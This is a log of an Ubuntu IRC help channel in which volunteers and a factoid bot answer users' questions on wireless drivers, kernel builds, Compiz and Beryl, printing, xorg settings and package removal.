[12:04] <IrishDave> if there is anyone who uses the opera browser, does anyone know how to change the fonts? im guessing it requires changing the java fonts?
[12:04] <gosha> Xero: So, can I just add another music_directory?
[12:05] <stefg> tehrandom: so my personal experience is that i never got any module to build against some ubuntu-source that I d/l'ed. somewher in the dapper era i got fed up with the bs and use my own vanilla kernels since then
[12:05] <Zeke> Can anyone give me a hand uninstalling anything that I have installed in ndiswrapper I need to start clean
[12:05] <tehrandom> ugh
[12:05] <tehrandom> stefg,  that makes me a sad panda.... i wanted a hands off "mainstream" distro this time around
[12:06] <tehrandom> if i'm doing the damned kernel manually and cant rely on the packages (linux-source) I may as well go back to Slackware :P
[12:06] <stefg> tehrandom: cough, cough... the ubuntu-kernels are buggy crap .... if you know how to do your own, rather do so ... cough, cough
[12:07] <scratchme> stefg thx, btw, that error message I was getting, it was fixed when I mounted using ext2, instead of ext3.
[12:07] <tehrandom> i've done kernels, probably not correctly, but that was the ONLY way in slack to get a new kernel ;)
[12:08] <tehrandom> damn, i was so ready to drink the koolaid too ;P
[12:08] <Zeke> !wireless
[12:08] <Ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[12:08] <cesariioh>  /j #ubuntu-es
[12:09] <dbonaduce> apt keeps giving me this error:
[12:09] <dbonaduce> Media change: please insert the disc labeled
[12:09] <dbonaduce>  'Ubuntu 7.04 _Feisty Fawn_ - Release i386 (20070415)'
[12:09] <dbonaduce> in the drive '/cdrom/' and press enter
[12:09] <dbonaduce> what the crap?
[12:09] <dbonaduce> I put the cd in and it keeps saying it
[12:09] <tehrandom> dbonaduce: the easiest way to fix this is to comment on the cdrom line in /etc/apt/sources.list
[12:09] <tehrandom> then it'll just grab it off the net
[12:10] <tehrandom> it's probably a disc labelling problem or something
[12:11] <tehrandom> since i switched from 7.10 back to 6.06 my server doesnt like to reboot reliably....
[12:12] <tehrandom> it likes to lock up specifically at the "Will now reboot" step
[12:12] <tehrandom> i think it may be an acpi / kernel compatibility issue with the dell hardware
[12:12] <dbonaduce> tehrandom, thanks
[12:12] <tehrandom> dbonaduce, no problem, i just had the same crep
[12:12] <dbonaduce> my last install didnt do this crap either
[12:13] <geo_> hi guys
[12:13] <tehrandom> they need to fix apt/aptitude to failover to inet when disc is not avail
[12:13] <tehrandom> automagically
[12:13] <bobjones> hello, I'm having problems with Ubuntu just completely locking up, no errors, no blue screens nothing it just freezes.  Is there somewhere that logs will be getting written to that I can see what the problem is?
[12:13] <Mr_J_> i did what I was recomended to do and reinstalled the system
[12:14] <Mr_J_> now
[12:14] <tehrandom> bobjones : usually /var/log/messages and /var/log/syslog are good places to start
[12:14] <stefg> tehrandom: BUUUTTTTT..... building kernels in debian is so much easier than in slack.... hold on, looking for the link
[12:14] <Mr_J_> can i get some non-microsoft guru and help me get my monitor resolution problem corrected?
[12:14] <Artimus> What applications does Ubuntu provide for wireless?  I'm running Xubuntu, so I need to install any programs manually.
[12:14] <geo_> i have a microsoft webcam ,is there a chance to make it work?
[12:14] <stefg> tehrandom: http://ubuntuforums.org/showthread.php?t=311158&highlight=master+kernel
[12:15] <Mr_J_> I have my horiz and vert frequency inside xorg.conf; however I still get my frequency
[12:15] <Mr_J_> at 50Hz
[12:15] <lashmoove> how would I change the 'Computer' icon ?
[12:15] <stefg> tehrandom: and you might be intersted in module-assistant
[12:15] <tehrandom> stefg: looks the same to me
[12:15] <Mr_J_> inside the Screen Resolution app in Gnome
[12:15] <Mr_J_> is that a bug? how would I check?
[12:16] <stefg> !info module-assistant | tehrandom
[12:16] <Ubotu> tehrandom: module-assistant: tool to make module package creation easier. In component universe, is optional. Version 0.10.10 (feisty), package size 86 kB, installed size 428 kB
[12:16] <tehrandom> Stefg: i dont do a lot with modules honestly, my needs in linux are very simple
[12:16] <geo_> thanx anywa
[12:16] <stefg> tehrandom: you might get away with using module assistant
[12:17] <Wips> In Totem Movie player is it possible to go backwards or forwards in a movie, frame by frame?
[12:17] <bobjones> tehrandom: it's just frozen again reading the log file...
[12:17] <tehrandom> i may just any-to-any my vmware and run the iscsi initiatior in a windows VM
[12:17] <bkhype> anyone here have experience in troubleshooting k3b cd burning utility ?
[12:18] <Oney> crap
[12:18] <Oney> crap
[12:18] <Oney> crap
[12:18] <Oney> I NEED HELP!
[12:18] <tehrandom> heh
[12:18] <stefg> tehrandom: http://ubuntuforums.org/showthread.php?t=213545
[12:18] <nikolam> Does anyone is there any GUI way fo make UDF CDRW than cdrwtool -d device -q
[12:18] <johwil> bkhype: tell more on your problem
[12:18] <tehrandom> stefg: ok...now i quit, runme.pl wont run
[12:19] <tehrandom> it ran just friggin fine on 7.1
[12:19] <johwil> bkhype: I might be able to help help
[12:19] <Pici> !patience | Oney
[12:19] <Ubotu> Oney: The people here are volunteers, your attitude may determine how fast you are helped.  Not everyone is available all the time, likewise not every answer is available instantly. See also http://wiki.ubuntu.com/IrcGuidelines
[12:19] <bkhype> i try to burn an audio cd, it stops a couple mins into it, says change to TAO, I do, stil same prob, I have error log aswell if you would like to take a look
[12:19] <Oney> What attitude I said crap... LoL
[12:19] <Oney> Because I got scared. =D
[12:19] <noremac07> noob here
[12:20] <johwil> what prog are you usding? bkhype
[12:20] <bkhype> k3b
[12:20] <gosha> !mpd
[12:20] <Ubotu> Sorry, I don't know anything about mpd - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:21] <Falstius> Oney: what is the problem
[12:21] <johwil> bkhype: eve tryed GnomeBaker?
[12:21] <d90> hey I need some help, I would like to install ubuntu on MAC, so is it possible?
[12:21] <nanonyme> sure
[12:21] <bkhype> i will right now, thanks
[12:21] <stefg> d90: ppc-mac or intel-mac ?
[12:21] <johwil> good luck!  bkhype
[12:22] <Oney> Falstius: I'm trying to reinstall beryl because compiz gave me nothing but problems but now I can't even get Beryl to install right.
[12:22] <Zeke> Can I burn the ubuntu iso to a dvd to install it that way, or does it have to be on a cd?
[12:22] <d90> I dont know I going to borrow mac tumorrow from my friend and I`m going to buy it if works with ubuntu
[12:22] <d90> what about system requirements?
 I`m going to borrow mac book from my friend tomorrow, configuration is 10GB hard disk
 12" display
 dvd plejer
 196 RAM
 64mb graf
[12:22] <noremac07> i have a sony vaio pcg-z1ra and i have tried to get compiz fusion to work repeatedly, and all that's happened is i've lost everything and had to reinstall ubuntu twice... anyone wanna walk me through it?
 450MHz
[12:22] <nikolam> bkhype k3b i have, but it dont work with udf cd`s just dvd`s on 7.04
[12:22] <johwil> Zeke: the .iso has to be burned as a CD
[12:23] <stefg> d90: that's a prehistoric g3 mac, i'll assume
[12:23] <stefg> !ppc
[12:23] <Ubotu> PowerPC.  Formerly used by Apple for the Macintosh line of computers. Variants are now used in popular gaming consoles. PPC was a fully supported Ubuntu architecture up to and including edgy. It is now a community port, see https://wiki.ubuntu.com/PowerPCFAQ
[12:23] <d90> and..
[12:23] <Zeke> Darn. I turned my last one into a coaster...
[12:23] <bkhype> gotcha, might be my problem, hopefully gnome works
[12:23] <d90> stefg: it is going to work
[12:24] <johwil> bkhype: it dfoes so for me..
[12:24] <johwil> bkhype: it does so for me..
[12:24] <Andeh> Hello. I want to upload my music to Last.FM but I exported it at 160 kb/s. What program (with frontend if possible) can downsample these to 128 kb/s?
[12:24] <noremac07> i guess not
[12:24] <noremac07> oh well
[12:24] <stefg> d90: I'd recommed using the 6.06 LTS (Dapper) version for it
[12:24] <Andeh> In batch if possible
[12:24] <mikebot> Is there any way to set somthing up so that when I right click a file like a pdf in the menu there is a print option?
[12:24] <Andeh> Don't want to load 12 songs into audacity and export as mp3 one by one...
[12:24] <d90> stefg: why
[12:25] <d90> system requirements?
[12:26] <Andeh> I need to downsample nine mp3 files to 128 kb/s. What program do I need?
[12:26] <CannibalMike> Congrats to me,
[12:26] <CannibalMike> I am a die hard windows user,
[12:26] <CannibalMike> who just took the plunge
[12:26] <Andeh> Zomg
[12:26] <Andeh> Ah
[12:26] <Andeh> Yay
[12:26] <Andeh> Congrats
[12:26] <Andeh> and Congrats to me, I just turned 13
[12:26] <Andeh> well, half an hour ago
[12:26] <Andeh> but still...
[12:26] <CoasterMaster> congrats to me, i'm eating some good chinese take out :)
[12:26] <godlygeek> so, any way to hibernate to a swapfile or regular file in out-of-the-box ubuntu, or can you only handle suspend-to-swap-partition?
[12:26] <stefg> d90: read above, ppc is no longer officially supported.... and having only 192 MB ram i'd go for xubuntu
[12:27] <Asuka> I need help setting up banshee. I'm currently at this step http://banshee-project.org/Banshee_Source
[12:27] <godlygeek> Andeh: I never would have guessed from the "zomg" .  :-p
[12:27] <Oney> Okay, I figured out my entire problem that everyone's been trying to figure out ALL DAY...
[12:27] <Andeh> argh maybe someone in #ubuntu-offtopic will tell me what program can downsample mp3s
[12:27] <Asuka> I'm not sure what I need to do
[12:27] <CoasterMaster> godlygeek, you can hibernate out of the box in ubuntu
[12:27] <Andeh> godlygeek: When I'm tired I get nooby
[12:27] <Andeh> And I was talking to a 18 year old. Big influence
[12:27] <Oney> It's Emerald, it worked fine until I switched from Beryl to Compiz, and now it Emerald won't even work now that I've switched back to Beryl. =(
[12:27] <Andeh> hehe
[12:27] <mikebot> Does anyone know of a way to add to the right-click menu of files (such as a pdf) the option to print (so that I wouldn't have to opoen the file, and I could select mltiple files and print them with one click)?
[12:27] <godlygeek> CoasterMaster: yes, but that wasn't my question.  :)
[12:27] <godlygeek> CoasterMaster: The question was whether you could hibernate to a swapfile or a regular file OOTB.
[12:28] <manchicken> Is there a program similar to katapult in GNOME-land?
[12:28] <stefg> d90: make sure not pay more than, say, 100 bucks if it's a notebook
[12:28] <CoasterMaster> you hibernate to the swap partition, which is basically the same thing as a swapfile
[12:28] <d90> stefg: ok thx
[12:28] <Oney> Can anyone help me? I don't want to fresh install Ubuntu again... I just want to fix Emerald.
[12:28] <rob_p> Andeh: lame can do it
[12:28] <Andeh> rob_p: Probably can... frontend?
[12:29] <godlygeek> CoasterMaster: right... if you have a swap partition... but i don't.
[12:29] <d90> stefg: yes I`m going to pay it 50euros
[12:29] <whichubuntu> Can anyone here help me with which ubuntu would be best for my comp?
[12:29] <Andeh> I wish lame wasn't so lame...
[12:29] <Buffalo960> I can whichubuntu
[12:29] <stefg> d90: fair deal.... run xubuntu 6.06 and you'll be fine
[12:29] <d90> stefg: thx a lot
[12:29] <stefg> !xubuntu | p90
[12:30] <Ubotu> p90: xubuntu is Ubuntu with Xfce instead of Gnome. For more info, see http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: "sudo apt-get install xubuntu-desktop". | For support, see #xubuntu | See also: !ubuntu and !xubuntu-channels
[12:30] <CoasterMaster> whichubuntu, sure....are you not sure what variation (kubuntu, ubuntu, xubuntu, etc) or what kind (i386, 64-bit, etc)?
[12:30] <godlygeek> whichubuntu: what kind of hardware do you have?
[12:30] <Xero> Need to get 164MB/164MB of archives.
[12:30] <Xero> After unpacking 485MB of additional disk space will be used.
[12:30] <Xero> UGH
[12:30] <gosha> Xero: Can I add other folders? OTZ ... XD @ Xero
[12:30] <whichubuntu> ummm im never sure which one i should pick because i have an amd 64 bit
[12:30] <whichubuntu> 3500+
[12:30] <rob_p> Andeh: I know ifor sure that it can.  I've used it to do just that.  Not aware of a front end for it though.  I wrote a script to do it for me.
[12:30] <Xero> gosha, I forget how, but yes.
[12:30] <gosha> Hmm ...
[12:30] <whichubuntu> should i go with an x64 version?
[12:30] <d90> Ubotu: thanx
[12:30] <Andeh> rob_p: A script?
[12:30] <Pc_Dark> why does my printer say "job stopped"
[12:31] <Pc_Dark> I don't understand, and I resume, and it won't resume
[12:31] <godlygeek> So, to rephrase: is there any way to hibernate OOTB if you don't have a swap partition, or should I be resolved to rolling my own kernels?
[12:31] <Xero> gosha, try organizing all your music into one folder (with subdirs of course, if you're organized)
[12:31] <rob_p> Andeh: Yeah, as in shell script.
[12:31] <godlygeek> d90: Ubotu is a bot.  you don't have to thank him.  :)
[12:31] <Andeh> rob_p: Why?
[12:31] <Xero> !kubuntu
[12:31] <Ubotu> Kubuntu is Ubuntu with KDE, the K Desktop Environment, instead of Gnome. See http://kubuntu.org for more information - For support: #kubuntu - See also !KDE
[12:32] <NMajik> How can I determine what wireless driver I am using for a given card?
[12:32] <rob_p> Andeh: I had a directory with hundreds of MP3s that I wanted to downsample.  So I used a script to do it for me.
[12:32] <Buffalo960> !KDE
[12:32] <Ubotu> KDE (http://kde.org) is the !desktop environment used natively in !Kubuntu. To install from Ubuntu:  sudo apt-get install kubuntu-desktop , or see http://help.ubuntu.com/community/InstallingKDE) . Latest KDE version is 3.5.7 for Feisty, 3.5.6 for Edgy, and 3.5.5 for Dapper. See http://kubuntu.org) for more information.
[12:32] <Artimus> What's the name of the Gnome System Panel app for NetworkManager?  I'd like to start it under XFCE.
[12:32] <d90> hh i`m new
[12:33] <whichubuntu> a problem i always have is when i am installing, the adding software part always messes up, and i cant finish the install
[12:33] <whichubuntu> do you think maybe this is an error on my disk, or because i chose a wrong version?
[12:33] <godlygeek> NMajik: try a 'dmesg | grep INTERFACE_NAME'
[12:33] <nickrud> Artimus: nm-applet
[12:33] <Artimus> nickrud: Yeah, I just found it...  Nifty.
[12:34] <rob_p> Andeh: But anyway, my point is that lame can do it.
[12:34] <Pc_Dark> I don't understand, why won't my printer print correctly?
[12:34] <stefg> !printer
[12:34] <Ubotu> Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://www.linux-foundation.org/en/OpenPrinting - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[12:34] <nickrud> Pc_Dark: it might be your printer is stopped, not just the job
[12:34] <Mahd1> hi, could anybody plz help me conf my xorg.conf? I need to get 2 monitors working (lvds cloned on crt)  using the intel driver.
[12:34] <ARCKEDA> Sure.
[12:34] <ARCKEDA> I can try.
[12:34] <NMajik> godlygeek: I see "NDIS driver: oem32" in one of the lines. Can I assume the driver name is oem32?
[12:35] <stefg> !daulhead | Mahd1
[12:35] <Ubotu> Sorry, I don't know anything about daulhead - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:35] <stefg> !dualhead | Mahd1
[12:35] <Ubotu> Mahd1: Information about dual-head on linux can be found on http://wiki.linuxquestions.org/wiki/DualHead - See also !Xinerama
[12:35] <Mahd1> !Xinerama
[12:35] <ARCKEDA> I can't get beryl to work with my XPRESS 200.
[12:35] <Ubotu> xinerama is an extension to !X to use two or more physical displays as one large virtual display. See https://help.ubuntu.com/community/XineramaHowTo - See also !DualHead
[12:35] <ARCKEDA> No XGL, no beryl.
[12:35] <Xero> !X
[12:35] <Ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[12:35] <ARCKEDA> !Beryl
[12:35] <Ubotu> beryl is a window manager that takes advantage of an OpenGL accelerated X environment. Help in #ubuntu-effects
[12:35] <godlygeek> NMajik: uh.. yikes... well, i think that implies that your driver is something called ndiswrapper, which wraps windows drivers... so, presumably, it's ndiswrapper wrapping oem32.inf, or something like that.
[12:36] <nickrud> ARCKEDA: heh. I had it going, but it locked up every time I exited gnome. Not worth the problems.
[12:36] <Xero> Beryl is now Compiz Fusion.
[12:36] <stefg> !msgthebot
[12:36] <Ubotu> Please investigate with me only in /msg or in #ubuntu-bots (see also !Bot). Abusing the channel bots will only result in angry ops...
[12:36] <jabberwalki> anyone know how to uninstall postfix?
[12:36] <Xero> 'sudo apt-get remove postfix', maybe?
[12:36] <Buffalo960> Is there an easy way too get all of the packages required to compile and build source programs (clearlook)?
[12:36] <VousDeux> while trying to install the driver for an Intel Wireless WiFi 4965AGN, I get this error: "Kernel Makefile not found at '/lib/modules/2.6.20-15-generic/source'". Can anyone tell me how to resolve this issue?
[12:36] <nickrud> jabberwalki: apt-get remove , but you'll need to replace it with something
[12:37] <NMajik> godlygeek: So there's no way to tell? Or were you being sarcastic?
[12:37] <jabberwalki> thanks xero...
[12:37] <whichubuntu> which version of ubuntu should i get with an AMD 64-bit 3500+?  I tried the x64 version, and errored during the "installing software phase" and couldnt finish the install..  andy advice?
[12:37] <godlygeek> NMajik: i'm sure there's a way to tell, but i don't use ndiswrapper, so i don't know it off the top of my head.
[12:37] <Pc_Dark> the printer works fine
[12:37] <stefg> Buffalo960: sudo apt-get build-dep ....
[12:37] <NMajik> godlygeek: OK, thanks for the help
[12:37] <Pc_Dark> it just won't print
[12:37] <PriceChild> whichubuntu, attempt the install again
[12:37] <fixeer> my load halts at NetworkManager, loading stage 5 of my eth0. when i boot into recovery it works fine though, what could be wrong?
[12:37] <Pc_Dark> its a Epson Stylus R300
[12:37] <Torahteen> Hi, where can I find a tutorial about installing Ubuntu on a USB flash drive?
[12:37] <Pc_Dark> Ubuntu used high-quality gutenprint as the driver, so it should work
[12:37] <whichubuntu> PriceChild: Ive done it a few times, maybe its the disk?
[12:38] <nickrud> whichubuntu: get the x86 alternate cd, it installs on more hardware supposedly and you won't have to finagle java plugins & flash for firefox
[12:38] <Buffalo960> stefg: Thank you
[12:38] <nikolam> whichubunt what version/what ubuntu you install. I would go for 64bit. But 32bit is less headake
[12:38] <Mahd1> I tried that conf the bot said, but it uses i810 driver and I wanted to use "intel"
[12:38] <alnux> I started compiz w/o having it install correctly and now my windows are all messed up how do I switch back to the default ubuntu settings?
[12:38] <PriceChild> whichubuntu, try running the checking programme on it
[12:38] <godlygeek> NMajik: try "ndiswrapper -l" in a terminal
[12:38] <Torahteen> Hi, where can I find a tutorial about installing Ubuntu on a USB flash drive?
[12:39] <LadyNikon> Torahteen: you try google?
[12:39] <NMajik> godlygeek: Among other things "oem32 : driver installed"
[12:39] <jabberwalki> xero - that seemed to stop the MTA and remove something...
[12:39] <nickrud> Mahd1: install xserver-xorg-video-intel for the intel driver
[12:39] <fixeer> my load halts at NetworkManager, loading stage 5 of my eth0. when i boot into recovery it works fine though, what could be wrong?
[12:39] <whichubuntu> PriceChild, I did and it said no errors.. I've done the installation too before, so i know more or less whats going on  im just not sure why its not working
[12:39] <Mahd1> stefg: do you know if "intel" driver uses the same options as "i810"?
[12:39] <godlygeek> NMajik: try 'locate oem32'
[12:39] <whichubuntu> So should i go with the x86 alternate?
[12:39] <stefg> Mahd1: sorry, no idea
[12:39] <Torahteen> LadyNikon, No I did not
[12:39] <PriceChild> whichubuntu, worth a try
[12:39] <Torahteen> I suppose I'll try that lol... giyf
[12:39] <jabberwalki> xero - why wouldn't the following command do the same? -- sudo /etc/rc.d/init.d/postfix stop
[12:40] <Mahd1> nickrud: thats what i'm using. But i need to get my lvds cloned on crt when i plug it.
[12:40] <DShepherd> Torahteen, http://pendrivelinux.com/2007/01/25/usb-x-ubuntu-610 -- edgy.. kinda old though...
[12:40] <Xero> jabberwalki, because that simply stops postfix, not uninstalls it.
[12:40] <LadyNikon> Torahteen: i never tried it.. so thats the only guess i had.
[12:40] <NMajik> godlygeek: http://paste.ubuntu-nl.org/37275/
[12:40] <Xaelgrim> can someone please help me witht he installation of a broadcom airforce 54g wireless card? I started using the guide on ubuntu's site but that hasnt seemed to have help
[12:40] <LadyNikon> Torahteen: ubuntuforums.org is a good resource as well
[12:40] <whichubuntu> PriceChild: Im just confused about the architecture.. is my 64 bit AMD x86 or x64?  if my processor is x64 wouldnt the x86 not work?
[12:41] <jabberwalki> xero - it returned "command not found" ??
[12:41] <tonyyarusso> Where does Banshee store downloaded podcast episodes
[12:41] <NMajik> godlygeek: "ar5523.sys" looks interesting
[12:41] <Mahd1> nickrud: if i use i810, it works fine with "MonitorLayout" "LFP, CRT" and "Clone" "true"... but that does not work with "intel"
[12:41] <nickrud> Mahd1: according to the package descriptions, they're practically identical (i810 & intel) but since I don't have an intel ..
[12:41] <LadyNikon> Xaelgrim: check ubuntu networking forums.. i saw something about broadcom earlier
[12:41] <LadyNikon> Xaelgrim: ubuntuforums.org
[12:41] <PriceChild> whichubuntu, 64bit is x86_64, 32bit is x86
[12:41] <godlygeek> NMajik: lmao at "/home/nmajik/Desktop/New WIFI junk. Delete if working/oem32.inf"
[12:41] <bzwingzero> Is it possible to have my desktop icons align right by default, similar to how it is on a mac? Using vanilla ubuntu (gnome)
[12:41] <nickrud> Mahd1: out of curiosity, why choose the intel over the i810, when i810 seems to work better?
[12:42] <NMajik> godlygeek: After pasting that, I thought you might be amused
[12:42] <stefg> !info 915resolution | Mahd1
[12:42] <Ubotu> mahd1: 915resolution: resolution modification tool for Intel graphic chipset. In component universe, is extra. Version 0.5.2-10ubuntu1 (feisty), package size 14 kB, installed size 124 kB (Only available for i386 amd64 kfreebsd-i386 kfreebsd-amd64)
[12:42] <gosha> Xero: Yeah, I should do that, but there's a catch... And that is that I have other devices than just my harddrive... External HD, Phone, MP3... And the fat32 windows partition...
[12:42] <MatBoy> Xubuntu says after loggin in that it can;t find the internetname, but it's already 100% ok in /etc/hosts and DNS is also working OK. SSH is sometimes slow to other machines in startup.. so there is a DNS issue... never had this on Debian... what can it be ?
[12:42] <morydd_lap> when I run iwconfig it lists the essid as "M" rather than "MEDEA" which is what was entered. Anyone seen this problem?
[12:42] <laptop> HOW do I get my Fiesty Fawn to install the beta Gutsy Gibbon? thanks
[12:42] <godlygeek> NMajik: Well, the stuff in Desktop/New\ WIFI* is probably what you installed.
[12:42] <whichubuntu> PriceChild: hmmmm alright.. thanks again ^^
[12:42] <LadyNikon> laptop: ubuntu+1
[12:43] <LadyNikon> oh wait
[12:43] <laptop> oh?
[12:43] <godlygeek> NMajik: that makes it sound as though you intentionally installed the 'oem32.inf' driver using ndiswrapper from that directory.
[12:43] <stefg> MatBoy: popular suspects: ipv6, avahi, network-manager
[12:43] <jvalencia> hi
[12:43] <LadyNikon> GG is the latest one
[12:43] <Mahd1> nickrud: it is gutsy's default, and people say it has a lot of new features... and it might help with suspend to ram on my laptop
[12:43] <LadyNikon> HH is the newer one
[12:43] <laptop> Oh
[12:43] <nickrud> whichubuntu: in case I missed the clarification, your processor will run either
[12:43] <laptop> Whichever the beta one is? HH?
[12:43] <LadyNikon> yeah
[12:44] <NMajik> godlygeek: Absolutely, I just don't know what ubuntu is calling it now
[12:44] <MatBoy> stefg, turn IPv6 off ?
[12:44] <jvalencia> first of all i would like to say that ubuntu is the first distribution that have fulfill my spectations and more
[12:44] <laptop> How can I get mine to upgrade to the beta?
[12:44] <stefg> MatBoy: yes
[12:44] <stefg> !ipv6 | MatBoy
[12:44] <Ubotu> MatBoy: To disable ipv6 read https://help.ubuntu.com/community/WebBrowsingSlowIPv6IPv4
[12:44] <PriceChild> !offtopic
[12:44] <Ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[12:44] <godlygeek> NMajik: what do you mean, what ubuntu is calling it?  what do you think you need to know the driver name for?  :)
[12:44] <MatBoy> stefg, ok, thanks... ubuntu is more up to date than Debian ;) I was confused
[12:44] <Torahteen> Isn't Ubuntu 7.10 out?
[12:44] <LadyNikon> laptop: yeah #ubuntu+1 is still using gutsy
[12:44] <DShepherd> Torahteen, no
[12:44] <stefg> MatBoy: and sudo apt-get remove --purge avahi-daemon
[12:44] <Fulk> shouldn't it be called Ubuntu++ ? :D
[12:44] <laptop> Gutsy isnt out yet but HH is the beta?
[12:44] <Torahteen> Hmm... I could of sworn I'd seen something about that... nm
[12:45] <NMajik> godlygeek: I'm trying to set up kismet but I'm getting the feeling I might have to go with a different driver
[12:45] <PriceChild> !offtopic
[12:45] <Ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[12:45] <jvalencia> i have now two more thing to do
[12:45] <bzwingzero>  Torahteen: not until oct 07 (hence the 7.10)
[12:45] <MatBoy> stefg, ok, thanks... just comment the IPv6 lines in /etc/hosts ?
[12:45] <LadyNikon> PriceChild: who is that directed too?
[12:45] <NMajik> godlygeek: I'm not encouraged though... my card sounds like a very uncommon chipset
[12:45] <jvalencia> 1. install my webcam Chicony 2.0 USB Camara
[12:45] <Torahteen> Oh, I didn't know that XD
[12:45] <Torahteen> A'ight, thanks :)
[12:45] <PriceChild> LadyNikon, no-one in particular, but please take heed of it.
[12:45] <DShepherd> laptop, no... the beta is GG... HH is the version to come after GG..
[12:45] <dbonaduce> !dvd
[12:45] <Ubotu> For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages - Try k9copy (available in !Universe) for backing up DVDs
[12:45] <LadyNikon> ...
[12:45] <bzwingzero> Is it possible to have my desktop icons align right by default, similar to how it is on a mac? Using vanilla ubuntu (gnome)
[12:45] <gosha> Xero: Nevermind. I found out how to.
[12:45] <stefg> MatBoy: ugh.... blacklisting ipv6 will usually do.... but commenting them out won't hurt
[12:45] <PriceChild> DShepherd, gutsy is not yet beta, it is still alpha, further discussion in #ubuntu+1 (laptop and LadyNikon too)
[12:46] <nickrud> bzwingzero: no
[12:46] <jvalencia> 2. Make ubuntu runs the cisco vpn subsystem and avoid to run everytime that i login the sudo modprobe ndiswrapper
[12:46] <NMajik> godlygeek: Well, not "very"
[12:46] <jvalencia> how i do those two things
[12:46] <bzwingzero> nickrud: thanks. At least now I have an answer.
[12:46] <DShepherd> laptop, what PriceChild said
[12:46] <nickrud> bzwingzero: someday maybe ;)
[12:46] <MatBoy> stefg, when I remove that avahi it wants to remove xubuntu-desktop* but only 537kB will be freed :S
[12:46] <godlygeek> NMajik: well, you probably don't need to tell kismet the name of the underlying driver ndiswrapper is using.  if you get it working, it will be by using the 'ndiswrapper' driver, or something like that.  :)
[12:47] <stefg> MatBoy: xubuntu-desktop is just a metapackage
[12:47] <bzwingzero> nickrud: I guess I need to bug the Gnome team if I want it.
[12:47] <MatBoy> stefg, ok... thanks
[12:47] <nickrud> NMajik: according to the kismet docs, you can't use ndiswrapped drivers with it.
[12:47] <godlygeek> MatBoy: But, removing metapackages tends to break upgrades...
[12:47] <NMajik> nickrud: Oh, thanks for the heads up
[12:47] <MatBoy> godlygeek, ok, so what now ?
[12:48] <godlygeek> nickrud: Thanks.  I was guessing that but didn't find it in a cursory glance at the docs.
[12:48] <NMajik> godlygeek: Well, I guess that ends my search. Thanks for your help
[12:48] <godlygeek> NMajik: no problem.
[12:48] <alnux> I started compiz w/o having it install correctly and now my windows are all messed up how do I switch back to the default ubuntu settings?
[12:48] <yanger> do you guys know if there is a way to read or convert LIT files in linux yet?
[12:48] <eigma> what do I have to do to get Ubuntu to boot without an initrd? (creating devices in /dev manually, etc?)
[12:49] <godlygeek> MatBoy: no idea...  i've never really figured out how to remove a package that's depended by *ubuntu-desktop without breaking ubuntu-desktop...
[12:49] <godlygeek> nickrud: ^any thoughts?
[12:49] <stefg> eigma: you need your own custom kernel, first
[12:49] <pacmanfan> so i'm not able to play any DVDs...
[12:49] <nickrud> eigma: recompile the kernel with necessary modules in the monolith
[12:49] <clash> Hey guys, i'm trying to get an answer to a networking question.
[12:49] <MatBoy> stefg, ^^ please read godlygeek his lines
[12:50] <veynom> !usb hub
[12:50] <Ubotu> Sorry, I don't know anything about usb hub - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:50] <nickrud> godlygeek: the only way I'm aware of is to create an equivs  substitute package for the one you want uninstalled.
[12:50] <veynom> !usbhub
[12:50] <Bilbo> hi all
[12:50] <Ubotu> Sorry, I don't know anything about usbhub - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:50] <nickrud> !equivs
[12:50] <Ubotu> Sorry, I don't know anything about equivs - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:50] <eigma> nickrud: already done; booting fails because it "can't open initial console", probably because /dev/console is missing (and normally created by udev)
[12:50] <nickrud> !equiv
[12:50] <Ubotu> Sorry, I don't know anything about equiv - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:50] <pacmanfan> Totem says "Totem cannot play this type of media (DVD) because you do not have the appropriate plugins to handle it.
[12:50] <veynom> why doesnt linux like my new usb hub?
[12:50] <PriceChild> !dvd | pacmanfan
[12:50] <Ubotu> pacmanfan: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages - Try k9copy (available in !Universe) for backing up DVDs
[12:50] <eigma> nickrub: trying to see if there's anything else I need to do
[12:50] <Nergar> hello
[12:50] <Bilbo> I am having an issue connecting my feisty fawn on a dell latitude to an airport extrem base station
[12:50] <stefg> godlygeek, MatBoy . i don't think this is the case with xubuntu-desktop.... you can always reinstall before an upgrade
[12:50] <pacmanfan> i already installed libdvdcss2
[12:51] <nickrud> eigma: Just another reason I'm glad I gave up on compiling kernels at the 2.6 point :)
[12:51] <nickrud> !info equivs | godlygeek
[12:51] <Ubotu> godlygeek: equivs: Circumvent Debian package dependencies. In component universe, is extra. Version 2.0.7 (feisty), package size 18 kB, installed size 128 kB
[12:51] <ticnailer69> does anyone know how to save and exit vim?
[12:51] <Artimus> Escape :wq
[12:51] <godlygeek> stefg, Matboy : that's definitely an option, if you remember to reinstall it before attempting an upgrade, but who does?
[12:51] <MatBoy> stefg, I have the idea too.. indeed. upgrade should run normal
[12:51] <Artimus> Obviously, press the escape key, press colon w q enter
[12:51] <MatBoy> godlygeek, we should now we know :P
[12:52] <DShepherd> ticnailer69,  Escape :x    works too
[12:52] <rob_p> ticnailer69: esc to get out of edit mode, then shift-ZZ
[12:52] <manchicken> Does anybody know how to get Evolution to import maildir?
[12:52] <Nergar> how do i set JAVA_HOME or the JRE_HOME environment variable?
